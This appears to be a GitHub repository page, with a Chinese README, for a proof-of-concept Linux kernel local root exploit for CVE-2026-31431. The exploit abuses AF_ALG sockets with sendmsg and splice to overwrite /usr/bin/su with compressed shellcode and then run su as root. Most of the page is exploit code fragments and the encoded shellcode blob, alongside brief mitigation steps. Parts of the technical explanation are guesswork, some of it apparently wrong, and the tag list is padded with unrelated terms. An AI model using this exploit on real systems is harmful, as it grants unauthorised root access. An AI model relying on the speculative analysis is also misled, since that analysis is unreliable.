JuanBindez/CVE-2026-31431

GitHub: JuanBindez/CVE-2026-31431

针对 Linux 内核 AF_ALG 加密子系统的本地提权漏洞 PoC,利用 splice 与 sendmsg 配合实现 root 权限获取。

Stars: 3 | Forks: 0

# CVE-2026-31431 ## Copy Fail - CVE-2026-31431 详情 https://nvd.nist.gov/vuln/detail/CVE-2026-31431 https://copy.fail/#exploit https://xint.io/blog/copy-fail-linux-distributions ## 测试的发行版 / 版本 | 发行版 | 版本 | |-------------------|-------------------------| | Ubuntu 24.04 LTS | 6.17.0-1007-aws | | Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | | RHEL 10.1 | 6.12.0-124.45.1.el10_1 | | SUSE 16 | 6.12.0-160000.9-default | ## 漏洞利用运行 ``` main.py ``` ## 命令 ID ``` id ``` ## 如果出现类似信息,意味着您现在已获得 root 权限。 image ## 修复只需几分钟。 ### 选项 1:更新您的内核(推荐) ``` For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y For RHEL-based systems: sudo yum update ``` #### 然后重启您的服务器。 ### 选项 2:禁用受影响的模块(临时修复) #### 如果现在无法更新,请禁用存在漏洞的模块以降低风险: ``` echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true ``` #### 这不会影响 SSH、TLS、LUKS 或 OpenSSL。 ## 攻击技术:类 CVE(Crypto API + splice) ### 这似乎是利用了 Linux 内核 AF_ALG crypto 子系统中的漏洞,结合对 splice()/sendmsg() 的错误使用,从而: * 泄露内核指针 * 破坏进程 task_struct * 将 UID 提升至 0 (root) ### 1. AF_ALG Socket 使用 (38) ``` a = s.socket(38, 5, 0) # AF_ALG = 38 (kernel crypto interface) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) ``` * 在内核中创建加密 socket * 配置 AES-CBC + HMAC-SHA256 密码 * 真实目的:与内部内核 API 交互 ### 2. 晦涩的 setsockopt (h=279) ``` v(h, 1, d('0800010000000010'+'0'*64)) # option 1 v(h, 5, None, 4) # option 5 (NULL payload) ``` * 279 = ALG_SET_KEY(设置加密密钥) * 利用 ALG 子系统的未记录选项 * 密钥 '0800010000000010' + 零填充 — 可能是漏洞触发器 ## 3. 主要攻击技术 ``` u.sendmsg([b"A"*4+c], [ (h, 3, i*4), # cmsg level 3 (ALG_OP?) (h, 2, b'\x10'+i*19), # cmsg level 2 (h, 4, b'\x08'+i*3) # cmsg level 4 ], 32768) ``` * 带有附属数据(控制消息)的 sendmsg * 'i'(计数器)在每次迭代中创建不同的大小 * 目标:堆喷射和内核内存破坏 ## 4. 管道间的 splice() ``` r, w = g.pipe() # create anonymous pipe g.splice(f, w, o, offset_src=0) # copy from file to pipe g.splice(r, u.fileno(), o) # copy from pipe to socket ``` ### 以下之间的零拷贝数据传输: ``` /usr/bin/su (file) → pipe → crypto socket ``` ### splice 避免了用户态→内核态拷贝 → 完全的内核空间操作 ## 5. 解压后的 Payload ## 十六进制数据: ``` 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3 ``` ### 以 78da 开头 → zlib 头 ### 解压后的内容可能包括: ``` Shellcode (machine code) x86_64 privilege escalation instructions ``` ## 6. 将 Payload 写入 su ``` while i < len(e): c(f, i, e[i:i+4]) # writes 4 bytes of shellcode into su ``` ### 在内存中破坏 /usr/bin/su(而非磁盘上) ### Shellcode 在执行时被注入到 su 进程中 # 7. 最终执行 ``` g.system("su") ``` ### 执行 su(切换用户)——此时已带有被破坏的 payload ### 被修改的 su 无需密码即可返回 root
标签:0day挖掘, AF_ALG, algif_aead, Amazon Linux, Copy Fail, Crypto API, CVE-2026-31431, Exploit, Go语言工具, Kernel Exploitation, Linux内核漏洞, PoC, Python, RHEL, Root访问, sendmsg, splice, SUSE, task_struct, UID 0, Web报告查看器, Zero-day, 内存破坏, 内核安全, 内核指针泄露, 协议分析, 安全渗透, 数据展示, 无后门, 暴力破解, 本地提权, 权限提升, 漏洞分析, 漏洞复现, 私有化部署, 系统漏洞, 红队, 网络安全, 路径探测, 逆向工具, 防御规避, 隐私保护